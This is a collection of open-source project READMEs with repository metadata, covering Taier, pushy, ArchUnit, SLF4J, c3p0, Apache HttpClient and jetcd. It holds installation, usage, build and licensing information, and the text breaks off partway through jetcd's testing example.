Docker](https://dtstack.github.io/Taier/docs/quickstart/deploy/docker#2-%E4%BD%BF%E7%94%A8docker-compose) ```shell $ wget https://raw.githubusercontent.com/DTStack/Taier/master/docker-compose.yml $ docker-compose up -d ``` #### [Online Preview](http://taier.dtstack.cn/) #### [Develop Tasks](https://dtstack.github.io/Taier/docs/quickstart/start) ![main](/website/static/img/readme/main.png) ## Tasks | Tasks | Documentation | | :---------------: | :-----------------------------------------------------------------------------------: | | Work Flow | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/workflow) | | Data Sync | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/sync) | | Data Acquisition | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/data-acquisition) | | Flink | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/flink) | | Shell | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/shell) | | Python | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/python) | | Spark SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/spark-sql) | | Hive SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/hive-sql) | | Flink SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/flink-sql) | | OceanBase SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/oceanbase-sql) | | ClickHouse SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/clickhouse-sql) | | Doris SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/doris-sql) | | TiDB SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/tidb-sql) | | MySQL SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/mysql-sql) | | Vertica SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/vertica-sql) | | Postgre SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/postgre-sql) | | SqlServer SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/sqlserver-sql)| | Greenplum SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/greenplum-sql)| | MaxCompute SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/maxcompute-sql)| | GaussDB SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/guassdb-sql) | | DataX | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/datax) | | User-defined Task | [Documentation](https://dtstack.github.io/Taier/docs/expand/task) | ## Questions [FAQ Reference](https://dtstack.github.io/Taier/docs/quickstart/faq) For questions, bugs and supports please open an [issue](https://github.com/DTStack/Taier/issues/new/choose), we'll reply you in time. ## Stay in touch - Slack https://join.slack.com/t/slack-p437975/shared_invite/zt-1iw5x1fw7-A6rVolqjP2z8V09~WwFUiA ## Contribution Please make sure to read the [Contributing Guide](https://dtstack.github.io/Taier/docs/contributing) before making a pull request. ## Contributor <a href="https://github.com/Dtstack/Taier/graphs/contributors"> <img src="https://contrib.rocks/image?repo=Dtstack/Taier" /> </a> ## License **Taier** is under the Apache 2.0 license. See the [LICENSE](http://www.apache.org/licenses/LICENSE-2.0) file for details.
0
jchambers/pushy
A Java library for sending APNs (iOS/macOS/Safari) push notifications
2013-08-02T19:38:31Z
null
# pushy ![Build/test](https://github.com/jchambers/pushy/actions/workflows/test.yml/badge.svg) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/com.eatthepath/pushy/badge.svg)](https://maven-badges.herokuapp.com/maven-central/com.eatthepath/pushy) Pushy is a Java library for sending [APNs](https://developer.apple.com/documentation/usernotifications) (iOS, macOS, and Safari) push notifications. Pushy sends push notifications using Apple's HTTP/2-based APNs protocol and supports both TLS and token-based authentication. It distinguishes itself from other push notification libraries with a focus on [thorough documentation](https://pushy-apns.org/apidocs/latest/), asynchronous operation, and design for industrial-scale operation. With Pushy, it's easy and efficient to maintain multiple parallel connections to the APNs gateway to send large numbers of notifications to many different applications ("topics"). We believe that Pushy is already the best tool for sending APNs push notifications from Java applications, and we hope you'll help us make it even better via bug reports and pull requests. If you need a simple GUI application for sending push notifications for development or testing purposes, you might also be interested in Pushy's sister project, [Pushy Console](https://github.com/jchambers/pushy-console). ## Quick links - [API documentation](https://pushy-apns.org/apidocs/latest/) - [Discussions](https://github.com/jchambers/pushy/discussions) (for general support and questions) - [Issues](https://github.com/jchambers/pushy/issues) (for bug reports and feature requests) ## Getting Pushy If you use [Maven](http://maven.apache.org/), you can add Pushy to your project by adding the following dependency declaration to your POM: ```xml <dependency> <groupId>com.eatthepath</groupId> <artifactId>pushy</artifactId> <version>0.15.4</version> </dependency> ``` If you don't use Maven (or something else that understands Maven dependencies, like Gradle), you can [download Pushy as a `.jar` file](https://github.com/jchambers/pushy/releases/download/pushy-0.15.4/pushy-0.15.4.jar) and add it to your project directly. You'll also need to make sure you have Pushy's runtime dependencies on your classpath. They are: - [netty 4.1.104](http://netty.io/) - [slf4j 1.7](http://www.slf4j.org/) (and possibly an SLF4J binding, as described in the [logging](#logging) section below) - [fast-uuid 0.1](https://github.com/jchambers/fast-uuid) Pushy itself requires Java 8 or newer to build and run. While not required, users may choose to use [netty-native](http://netty.io/wiki/forked-tomcat-native.html) as an SSL provider for enhanced performance. To use a native provider, make sure netty-tcnative is on your classpath. Maven users may add a dependency to their project as follows: ```xml <dependency> <groupId>io.netty</groupId> <artifactId>netty-tcnative-boringssl-static</artifactId> <version>2.0.62.Final</version> <scope>runtime</scope> </dependency> ``` ## Authenticating with the APNs server Before you can get started with Pushy, you'll need to do some provisioning work with Apple to register your app and get the required certificates or signing keys (more on these shortly). For details on this process, please see the [Registering Your App with APNs](https://developer.apple.com/documentation/usernotifications/registering_your_app_with_apns) section of Apple's UserNotifications documentation. Please note that there are [some caveats](https://github.com/jchambers/pushy/wiki/Certificates), particularly under macOS 10.13 (El Capitan). Generally speaking, APNs clients must authenticate with the APNs server by some means before they can send push notifications. Currently, APNs (and Pushy) supports two authentication methods: TLS-based authentication and token-based authentication. The two approaches are mutually-exclusive; you'll need to pick one or the other for each client. ### TLS authentication In TLS-based authentication, clients present a TLS certificate to the server when connecting, and may send notifications to any "topic" named in the certificate. Generally, this means that a single client can only send push notifications to a single receiving app. Once you've registered your app and have the requisite certificates, the first thing you'll need to do to start sending push notifications with Pushy is to create an [`ApnsClient`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/ApnsClient.html). Clients using TLS authentication need a certificate and private key to authenticate with the APNs server. The most common way to store the certificate and key is in a password-protected PKCS#12 file (you'll wind up with a password-protected .p12 file if you follow Apple's instructions at the time of this writing). To create a client that will use TLS-based authentication: ```java final ApnsClient apnsClient = new ApnsClientBuilder() .setApnsServer(ApnsClientBuilder.DEVELOPMENT_APNS_HOST) .setClientCredentials(new File("/path/to/certificate.p12"), "p12-file-password") .build(); ``` ### Token authentication In token-based authentication, clients still connect to the server using a TLS-secured connection, but do *not* present a certificate to the server when connecting. Instead, clients include a cryptographically-signed token with each notification they send (don't worry—Pushy handles this for you automatically). Clients may send push notifications to any "topic" for which they have a valid signing key. To get started with a token-based client, you'll need to get a signing key (also called a private key in some contexts) from Apple. Once you have your signing key, you can create a new client: ```java final ApnsClient apnsClient = new ApnsClientBuilder() .setApnsServer(ApnsClientBuilder.DEVELOPMENT_APNS_HOST) .setSigningKey(ApnsSigningKey.loadFromPkcs8File(new File("/path/to/key.p8"), "TEAMID1234", "KEYID67890")) .build(); ``` ## Sending push notifications Pushy's APNs clients maintain an internal pool of connections to the APNs server and create new connections on demand. As a result, clients do not need to be started explicitly. Regardless of the authentication method you choose, once you've created a client, it's ready to start sending push notifications. At minimum, [push notifications](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/ApnsPushNotification.html) need a device token (which identifies the notification's destination device and is a distinct idea from an authentication token), a topic, and a payload. ```java final SimpleApnsPushNotification pushNotification; { final ApnsPayloadBuilder payloadBuilder = new SimpleApnsPayloadBuilder(); payloadBuilder.setAlertBody("Example!"); final String payload = payloadBuilder.build(); final String token = TokenUtil.sanitizeTokenString("<efc7492 bdbd8209>"); pushNotification = new SimpleApnsPushNotification(token, "com.example.myApp", payload); } ``` Pushy includes a [`SimpleApnsPayloadBuilder`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/util/SimpleApnsPayloadBuilder.html), and payload builders based on [Gson](https://github.com/jchambers/pushy/tree/master/gson-payload-builder) and [Jackson](https://github.com/jchambers/pushy/tree/master/jackson-payload-builder) are available as separate modules. [APNs payloads are just JSON strings](https://developer.apple.com/documentation/usernotifications/setting_up_a_remote_notification_server/generating_a_remote_notification), and callers may produce payloads by the method of their choice; while Pushy's payload builders may be convenient, callers are _not_ obligated to use them. The process of sending a push notification is asynchronous; although the process of sending a notification and getting a reply from the server may take some time, the client will return a [`CompletableFuture`](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CompletableFuture.html) right away. You can use that `CompletableFuture` to track the progress and eventual outcome of the sending operation. Note that sending a notification returns a [`PushNotificationFuture`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/util/concurrent/PushNotificationFuture.html), which is a subclass of `CompletableFuture` that always holds a reference to the notification that was sent. ```java final PushNotificationFuture<SimpleApnsPushNotification, PushNotificationResponse<SimpleApnsPushNotification>> sendNotificationFuture = apnsClient.sendNotification(pushNotification); ``` The `CompletableFuture` will complete in one of three circumstances: 1. The gateway accepts the notification and will attempt to deliver it to the destination device. 2. The gateway rejects the notification; this should be considered a permanent failure, and the notification should not be sent again. Additionally, the APNs gateway may indicate a timestamp at which the destination token became invalid. If that happens, you should stop trying to send *any* notification to that token unless the token has been re-registered since that timestamp. 3. The `CompletableFuture` fails with an exception. This should generally be considered a temporary failure, and callers should try to send the notification again when the problem has been resolved. An example: ```java try { final PushNotificationResponse<SimpleApnsPushNotification> pushNotificationResponse = sendNotificationFuture.get(); if (pushNotificationResponse.isAccepted()) { System.out.println("Push notification accepted by APNs gateway."); } else { System.out.println("Notification rejected by the APNs gateway: " + pushNotificationResponse.getRejectionReason()); pushNotificationResponse.getTokenInvalidationTimestamp().ifPresent(timestamp -> { System.out.println("\t…and the token is invalid as of " + timestamp); }); } } catch (final ExecutionException e) { System.err.println("Failed to send push notification."); e.printStackTrace(); } ``` It's important to note that `CompletableFuture` has affordances for scheduling additional tasks to run when an operation is complete. Waiting for each individual push notification is inefficient in practice, and most users will be better served by adding follow-up tasks to the `CompletableFuture` instead of blocking until it completes. As an example: ```java sendNotificationFuture.whenComplete((response, cause) -> { if (response != null) { // Handle the push notification response as before from here. } else { // Something went wrong when trying to send the notification to the // APNs server. Note that this is distinct from a rejection from // the server, and indicates that something went wrong when actually // sending the notification or waiting for a reply. cause.printStackTrace(); } }); ``` All APNs clients—even those that have never sent a message—may allocate and hold on to system resources, and it's important to release them. APNs clients are intended to be persistent, long-lived resources; you definitely don't need to shut down a client after sending a notification (or even batch of notifications), but you'll want to shut down your client (or clients) when your application is shutting down: ```java final CompletableFuture<Void> closeFuture = apnsClient.close(); ``` When shutting down, clients will wait for all sent-but-not-acknowledged notifications to receive a reply from the server. Notifications that have been passed to `sendNotification` but not yet sent to the server (i.e. notifications waiting in an internal queue) will fail immediately when disconnecting. Callers should generally make sure that all sent notifications have been acknowledged by the server before shutting down. ## Performance and best practices Making the most of your system resources for high-throughput applications always takes some effort. To guide you through the process, we've put together a wiki page covering some [best practices for using Pushy](https://github.com/jchambers/pushy/wiki/Best-practices). All of these points are covered in much more detail on the wiki, but in general, our recommendations are: - Treat `ApnsClient` instances as long-lived resources - Add follow-up tasks to `CompletableFutures` if you want to track the status of your push notifications - Use a flow control strategy to avoid enqueueing push notifications faster than the server can respond - Choose a number of threads and concurrent connections that balances CPU time and network throughput ## Metrics Pushy includes an interface for monitoring metrics that provide insight into clients' behavior and performance. You can write your own implementation of the `ApnsClientMetricsListener` interface to record and report metrics. We also provide metrics listeners that gather and report metrics [using the Dropwizard Metrics library](https://github.com/jchambers/pushy/tree/master/dropwizard-metrics-listener) and [using the Micrometer application monitoring facade](https://github.com/jchambers/pushy/tree/master/micrometer-metrics-listener) as separate modules. To begin receiving metrics, set a listener when building a new client: ```java final ApnsClient apnsClient = new ApnsClientBuilder() .setApnsServer(ApnsClientBuilder.DEVELOPMENT_APNS_HOST) .setSigningKey(ApnsSigningKey.loadFromPkcs8File(new File("/path/to/key.p8"), "TEAMID1234", "KEYID67890")) .setMetricsListener(new MyCustomMetricsListener()) .build(); ``` Please note that the metric-handling methods in your listener implementation should *never* call blocking code. It's appropriate to increment counters directly in the handler methods, but calls to databases or remote monitoring endpoints should be dispatched to separate threads. ## Using a proxy If you need to use a proxy for outbound connections, you may specify a [`ProxyHandlerFactory`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/proxy/ProxyHandlerFactory.html) when building your `ApnsClient` instance. Concrete implementations of `ProxyHandlerFactory` are provided for HTTP, SOCKS4, and SOCKS5 proxies. An example: ```java final ApnsClient apnsClient = new ApnsClientBuilder() .setApnsServer(ApnsClientBuilder.DEVELOPMENT_APNS_HOST) .setSigningKey(ApnsSigningKey.loadFromPkcs8File(new File("/path/to/key.p8"), "TEAMID1234", "KEYID67890")) .setProxyHandlerFactory(new Socks5ProxyHandlerFactory( new InetSocketAddress("my.proxy.com", 1080), "username", "password")) .build(); ``` If using HTTP proxies configured via [JVM system properties](https://docs.oracle.com/javase/7/docs/api/java/net/doc-files/net-properties.html#Proxies), you can also use: ```java final ApnsClient apnsClient = new ApnsClientBuilder() .setApnsServer(ApnsClientBuilder.DEVELOPMENT_APNS_HOST) .setSigningKey(ApnsSigningKey.loadFromPkcs8File(new File("/path/to/key.p8"), "TEAMID1234", "KEYID67890")) .setProxyHandlerFactory(HttpProxyHandlerFactory.fromSystemProxies( ApnsClientBuilder.DEVELOPMENT_APNS_HOST)) .build(); ``` ## Logging Pushy uses [SLF4J](http://www.slf4j.org/) for logging. If you're not already familiar with it, SLF4J is a facade that allows users to choose which logging library to use at deploy time by adding a specific "binding" to the classpath. To avoid making the choice for you, Pushy itself does *not* depend on any SLF4J bindings; you'll need to add one on your own (either by adding it as a dependency in your own project or by installing it directly). If you have no SLF4J bindings on your classpath, you'll probably see a warning that looks something like this: ``` SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder". SLF4J: Defaulting to no-operation (NOP) logger implementation SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details. ``` For more information, see the [SLF4J user manual](http://www.slf4j.org/manual.html). Pushy uses logging levels as follows: | Level | Events logged | |-----------|---------------------------------------------------------------------------------------| | `error` | Serious, unrecoverable errors; recoverable errors that likely indicate a bug in Pushy | | `warn` | Serious, but recoverable errors; errors that may indicate a bug in caller's code | | `info` | Important lifecycle events | | `debug` | Minor lifecycle events; expected exceptions | | `trace` | Individual IO operations | ## Using a mock server Pushy includes a mock APNs server that callers may use in integration tests and benchmarks. It is not necessary to use a mock server (or any related classes) in normal operation. To build a mock server, callers should use a [`MockApnsServerBuilder`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/server/MockApnsServerBuilder.html). All servers require a [`PushNotificationHandler`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/server/PushNotificationHandler.html) (built by a [`PushNotificationHandlerFactory`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/server/PushNotificationHandlerFactory.html) provided to the builder) that decides whether the mock server will accept or reject each incoming push notification. Pushy includes an `AcceptAllPushNotificationHandlerFactory` that is helpful for benchmarking and a `ValidatingPushNotificationHandlerFactory` that may be helpful for integration testing. Callers may also provide a [`MockApnsServerListener`](https://pushy-apns.org/apidocs/0.15/com/eatthepath/pushy/apns/server/MockApnsServerListener.html) when building a mock server; listeners are notified whenever the mock server accepts or rejects a notification from a client. ## License and status Pushy is available under the [MIT License](https://github.com/jchambers/pushy/blob/master/LICENSE.md). The current version of Pushy is 0.15.4. It's fully functional and widely used in production environments, but the public API may change significantly before a 1.0 release.
0
TNG/ArchUnit
A Java architecture test library, to specify and assert architecture rules in plain Java
2017-04-21T08:39:20Z
null
[![CI](https://github.com/TNG/ArchUnit/actions/workflows/build.yml/badge.svg)](https://github.com/TNG/ArchUnit/actions/workflows/build.yml?query=branch%3Amain++) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/com.tngtech.archunit/archunit/badge.svg)](http://search.maven.org/#search%7Cgav%7C1%7Cg%3A%22com.tngtech.archunit%22%20) [![License](https://img.shields.io/github/license/TNG/ArchUnit.svg)](https://github.com/TNG/ArchUnit/blob/main/LICENSE) <img src="logo/ArchUnit-Logo.png" height="64" alt="ArchUnit"> ArchUnit is a free, simple and extensible library for checking the architecture of your Java code. That is, ArchUnit can check dependencies between packages and classes, layers and slices, check for cyclic dependencies and more. It does so by analyzing given Java bytecode, importing all classes into a Java code structure. ArchUnit's main focus is to automatically test architecture and coding rules, using any plain Java unit testing framework. ## An Example #### Add the Maven Central dependency to your project ###### Gradle ``` testImplementation 'com.tngtech.archunit:archunit:1.3.0' ``` ###### Maven ``` <dependency> <groupId>com.tngtech.archunit</groupId> <artifactId>archunit</artifactId> <version>1.3.0</version> <scope>test</scope> </dependency> ``` #### Create a test ```java import com.tngtech.archunit.core.domain.JavaClasses; import com.tngtech.archunit.core.importer.ClassFileImporter; import com.tngtech.archunit.lang.ArchRule; import static com.tngtech.archunit.lang.syntax.ArchRuleDefinition.classes; public class MyArchitectureTest { @Test public void some_architecture_rule() { JavaClasses importedClasses = new ClassFileImporter().importPackages("com.myapp"); ArchRule rule = classes()... // see next section rule.check(importedClasses); } } ``` #### Let the API guide you ![ArchUnit Fluent API](ArchUnit-API.gif) ## Where to look next For further information, check out the user guide at [http://archunit.org](http://archunit.org) or test examples for the current release at [ArchUnit Examples](https://github.com/TNG/ArchUnit-Examples). ## License ArchUnit is published under the Apache License 2.0, see http://www.apache.org/licenses/LICENSE-2.0 for details. It redistributes some third party libraries: * ASM (http://asm.ow2.org), under BSD Licence * Google Guava (https://github.com/google/guava), under Apache License 2.0 All licenses for ArchUnit and redistributed libraries can be found within the [licenses](licenses) folder.
0
qos-ch/slf4j
Simple Logging Facade for Java
2009-08-20T16:25:49Z
null
# About SLF4J The Simple Logging Facade for Java (SLF4J) serves as a simple facade or abstraction for various logging frameworks (e.g. java.util.logging, logback, reload4j, log4j 2.x) allowing the end user to plug in the desired logging framework at deployment time. More information can be found on the [SLF4J website](http://www.slf4j.org). # Build Status [![Build Status](https://travis-ci.org/qos-ch/slf4j.svg)](https://travis-ci.org/qos-ch/slf4j) # Search org.slf4j artifacts on Maven Central [![Maven Central](https://img.shields.io/badge/Search%20org%2Eslf4j%20artifacts%20on%20Maven%20Central-2.0.x-green)](https://search.maven.org/search?q=g:org.slf4j%20AND%20v:2.0.%3F) # In case of problems In case of problems please do not hesitate to post an e-mail message on the slf4j-user@qos.ch mailing list. However, please do not directly e-mail SLF4J developers. The answer to your question might be useful to other users. Moreover, there are many knowledgeable users on the slf4j-user mailing lists who can quickly answer your questions. # Urgent issues For urgent issues do not hesitate to [champion a release](https://github.com/sponsors/qos-ch/sponsorships?tier_id=77436). In principle, most championed issues are solved within 3 business days ensued by a release. # How to build SLF4J SLF4J uses Maven as its build tool. SLF4J version 2.0.x will run under Java 8 but requires Java 9 or later to build. # How to contribute pull requests If you are interested in improving SLF4J, that is great! The SLF4J community looks forward to your contribution. Please follow this process: 1. Start a discussion on the [slf4j-dev mailing list](http://www.slf4j.org/mailing-lists.html) about your proposed change. Alternately, file a [bug report](http://www.slf4j.org/bug-reporting.html) to initiate the discussion. Note that we ask pull requests to be linked to a [Jira ticket](https://jira.qos.ch/). 2. Fork qos-ch/slf4j. Ideally, create a new branch from your fork for your contribution to make it easier to merge your changes back. 3. Make your changes on the branch you hopefully created in Step 2. Be sure that your code passes existing unit tests. Please add unit tests for your work if appropriate. It usually is. 4. All commits must have signed off by the contributor attesting to [Developer Certificate of Origin (DCO)](https://developercertificate.org/). Commits without sign off will be automatically rejected by the [DCO GitHub check](https://probot.github.io/apps/dco/) application. 5. Push your changes to your fork/branch in GitHub. Don't push it to your master! If you do it will make it harder to submit new changes later. 6. Submit a pull request to SLF4J from your commit page on GitHub. 7. Did we mention that you will be asked to link your pull request with a Jira ticket?
0
swaldman/c3p0
a mature, highly concurrent JDBC Connection pooling library, with support for caching and reuse of PreparedStatements.
2012-05-13T05:20:50Z
null
# c3p0 c3p0 is a mature, highly concurrent JDBC Connection pooling library, with support for caching and reuse of `PreparedStatement` objects. c3p0 is available as managed dependency on Maven Central, <code>[groupId: com.mchange, artifactId: c3p0]</code> For available versions, look [here](https://oss.sonatype.org/content/repositories/releases/com/mchange/c3p0/). Please see the [documentation](http://www.mchange.com/projects/c3p0/) for more. From the current *development snapshot*, here is the latest [CHANGELOG](CHANGELOG). Please address comments and questions to the [library author](mailto:swaldman@mchange.com). However, please keep in mind he is an abysmal correspondent and basically an asshole. Despite that, your feedback is very much appreciated. Pull requests are gratefully accepted. You may also open issues. Thank you for your interest in c3p0. I do hope that you find it useful! ### Building c3p0 For now (v0.10.0), c3p0 is built under a Java 11 VM, targetting JDK 7 classfiles for continued compatibility with legacy apps. _In order to remind me to switch to Java 11, the build will fail with an Exception if it detects an unexpected version._ You can comment this requirement out of `build.sc` if you like. It's the line that looks like ```scala require( sys.props("java.runtime.version").startsWith("11"), s"Bad build JVM: ${sys.props("java.runtime.version")} -- We currently expect to build under Java 11. (We generate Java $JvmCompatVersion compatible source files.)" ) ``` c3p0 relies on the excellent build tool [`mill`](https://mill-build.com/). Install `mill`. Then, within this repository direcory, run ```plaintext $ mill jar ``` You'll find the raw as library `out/jar.dest/out.jar`. If you maintain a local ivy repository, You can customize `publishVersion` in [`build.sc`](build.sc), then run ```plaintext $ mill publishLocal ``` To build the documentation ```plaintext $ mill doc.docroot ``` You can then open in your browser `out/doc/docroot.dest/index.html` ### Testing c3p0 By default the tests expect to find a database at `jdbc:postgresql://localhost:5432/c3p0`. As you can see, I usually test against a local postgres database. You can change this in the `forkArgs` function of [`build.sc`](build.sc). c3p0's testing is, um, embarrassingly informal. There is a junit test suite, but it covers a very small fraction of c3p0 functionality. To run that, it's just ```plaintext $ mill test.test ``` Mostly c3p0 is tested by running a few test applications, and varying config _ad hoc_ to see how things work. _If you think c3p0 could/should be tested more professionally and automatically, me too! I'd love a pull request._ [`build.sc`](build.sc) contains a lot of test applications, but the most important are ```plaintext $ mill test.c3p0Benchmark ``` This is c3p0 most basic, common, test-of-first-resort. It runs through and times a bunch of different c3p0 operations, and puts the library through pretty good exercise ```plaintext $ mill test.c3p0Load ``` This one puts c3p0 under load of a 100 thread performing 1000 database operations each, then terminates. ```plaintext $ mill test.c3p0PSLoad ``` This one puts c3p0 under load of a 100 thread performing database operations indefinitely. It uses `PreparedStatement` for its database operations, so is a good way of exercising the statement cache. #### Test configuration You can observe (most of) the config of your c3p0 `DataSource` when you test, because c3p0 logs it at `INFO` upon the first `Connection` checkout attempt. When testing, verify that you are working with the configuration you expect! Tests are configured by command-line arguments and by a `c3p0.properties` file. To play with different configurations, edit [`test/resources-local/c3p0.properties`](test/resources-local/c3p0.properties). Also check the `forkArgs()` method in [`build.sc`](build.sc) Sometimes you want to put the library through its paces with pathological configuration. A baseline pathological configuration is defined in [`test/resources-local-rough/c3p0.properties`](test/resources-local-rough/c3p0.properties). To give this effect, temporarily edit [`build.sc`](build.sc): ```scala override def runClasspath : T[Seq[PathRef]] = T{ super.runClasspath() ++ localResources() // super.runClasspath() ++ localResourcesRough() } ``` * Comment out `super.runClasspath() ++ localResources()` * Uncomment in `super.runClasspath() ++ localResourcesRough()` Then of course you can edit [`test/resources-local-rough/c3p0.properties`](test/resources-local-rough/c3p0.properties). #### Test logging Often you will want to focus logging on a class or feature you are testing. By default, c3p0 tests are configured to use `java.util.logging.`, and be configured by the file [`test/conf-logging/logging.properties`](test/conf-logging/logging.properties). Of course you can change the config (in `c3p0.properties`) to use another logging library if you'd like, but you may need to modify the build to bring third-party logging libraries in, and configure those libraries in their own ways. ### Building c3p0-loom Because c3p0 currently builds under Java 11, but c3p0-loom requires Java 21, c3p0 loom is a [separate project](https://github.com/swaldman/c3p0-loom). It is just a parallel mill project. The instructions above apply (except `c3p0-loom` does not have independent documentation to build). ### License c3p0 is licensed under [LGPL v.2.1](LICENSE-LGPL) or [EPL v.1.0](LICENSE-EPL), at your option. You may also opt to license c3p0 under any version of LGPL higher than v.2.1. --- **Note:** c3p0 has had a good experience with reporting of a security vulnerability via Sonatype's _Central Security Project_. If you find a c3p0 security issue, do consider reporting it via https://hackerone.com/central-security-project
0
apache/httpcomponents-client
Mirror of Apache HttpClient
2009-05-21T01:43:06Z
null
<!-- ==================================================================== Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==================================================================== This software consists of voluntary contributions made by many individuals on behalf of the Apache Software Foundation. For more information on the Apache Software Foundation, please see <http://www.apache.org />. --> Apache HttpComponents Client ============================ Welcome to the HttpClient component of the Apache HttpComponents project. [![GitHub Actions Status](https://github.com/apache/httpcomponents-client/workflows/Java%20CI/badge.svg)](https://github.com/apache/httpcomponents-client/actions) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/org.apache.httpcomponents.client5/httpclient5/badge.svg)](https://maven-badges.herokuapp.com/maven-central/org.apache.httpcomponents.client5/httpclient5) [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) Building Instructions --------------------- For building from source instructions please refer to [BUILDING.txt](./BUILDING.txt). Dependencies ------------ HttpClient main module requires Java 8 compatible runtime and depends on the following external libraries: * [Apache HttpComponents HttpCore](https://github.com/apache/httpcomponents-core) * [SLF4J API](http://www.slf4j.org/) Other dependencies are optional. (for detailed information on external dependencies please see [pom.xml](./pom.xml)) Licensing --------- Apache HttpComponents Client is licensed under the Apache License 2.0. See the files [LICENSE.txt](./LICENSE.txt) and [NOTICE.txt](./NOTICE.txt) for more information. Contact ------- - For general information visit the main project site at https://hc.apache.org/ - For current status information visit the status page at https://hc.apache.org/status.html - If you want to contribute visit https://hc.apache.org/get-involved.html Cryptographic Software Notice ----------------------------- This distribution may include software that has been designed for use with cryptographic software. The country in which you currently reside may have restrictions on the import, possession, use, and/or re-export to another country, of encryption software. BEFORE using any encryption software, please check your country's laws, regulations and policies concerning the import, possession, or use, and re-export of encryption software, to see if this is permitted. See https://www.wassenaar.org/ for more information. The U.S. Government Department of Commerce, Bureau of Industry and Security (BIS), has classified this software as Export Commodity Control Number (ECCN) 5D002.C.1, which includes information security software using or performing cryptographic functions with asymmetric algorithms. The form and manner of this Apache Software Foundation distribution makes it eligible for export under the License Exception ENC Technology Software Unrestricted (TSU) exception (see the BIS Export Administration Regulations, Section 740.13) for both object code and source code. The following provides more details on the included software that may be subject to export controls on cryptographic software: > Apache HttpComponents Client interfaces with the > Java Secure Socket Extension (JSSE) API to provide > - HTTPS support > > Apache HttpComponents Client does not include any > implementation of JSSE.
0
etcd-io/jetcd
etcd java client
2016-07-20T04:14:11Z
null
# jetcd - A Java Client for etcd [![Build Status](https://github.com/etcd-io/jetcd/actions/workflows/build-main.yml/badge.svg)](https://github.com/etcd-io/jetcd/actions) [![License](https://img.shields.io/badge/Licence-Apache%202.0-blue.svg?style=flat-square)](http://www.apache.org/licenses/LICENSE-2.0.html) [![Maven Central](https://img.shields.io/maven-central/v/io.etcd/jetcd-core.svg?style=flat-square)](https://search.maven.org/#search%7Cga%7C1%7Cio.etcd) [![Javadocs](http://www.javadoc.io/badge/io/etcd/jetcd-core.svg)](https://javadoc.io/doc/io.etcd/jetcd-core) jetcd is the official java client for [etcd](https://github.com/etcd-io/etcd) v3. > Note: jetcd is work-in-progress and may break backward compatibility. ## Java Versions Java 11 or above is required. ## Download ### Maven ```xml <dependency> <groupId>io.etcd</groupId> <artifactId>jetcd-core</artifactId> <version>${jetcd-version}</version> </dependency> ``` Development snapshots are available in [Sonatypes's snapshot repository](https://oss.sonatype.org/content/repositories/snapshots/io/etcd/). ### Gradle ``` dependencies { implementation "io.etcd:jetcd-core:$jetcd-version" } ``` ### Usage ```java // create client using endpoints Client client = Client.builder().endpoints("http://etcd0:2379", "http://etcd1:2379", "http://etcd2:2379").build(); ``` ```java // create client using target which enable using any name resolution mechanism provided // by grpc-java (i.e. dns:///foo.bar.com:2379) Client client = Client.builder().target("ip:///etcd0:2379,etcd1:2379,etcd2:2379").build(); ``` ```java KV kvClient = client.getKVClient(); ByteSequence key = ByteSequence.from("test_key".getBytes()); ByteSequence value = ByteSequence.from("test_value".getBytes()); // put the key-value kvClient.put(key, value).get(); // get the CompletableFuture CompletableFuture<GetResponse> getFuture = kvClient.get(key); // get the value from CompletableFuture GetResponse response = getFuture.get(); // delete the key kvClient.delete(key).get(); ``` To build one ssl secured client, refer to [secured client config](docs/SslConfig.md). For full etcd v3 API, plesase refer to the [official API documentation](https://etcd.io/docs/current/learning/api/). ### Examples The [jetcd-ctl](https://github.com/etcd-io/jetcd/tree/master/jetcd-ctl) is a standalone projects that show usage of jetcd. ## Launcher The `io.etcd:jetcd-test` offers a convenient utility to programmatically start & stop an isolated `etcd` server. This can be very useful e.g. for integration testing, like so: ```java import io.etcd.jetcd.Client; import io.etcd.jetcd.test.EtcdClusterExtension; import org.junit.jupiter.api.extension.RegisterExtension; @RegisterExtension public static final EtcdClusterExtension cluster = 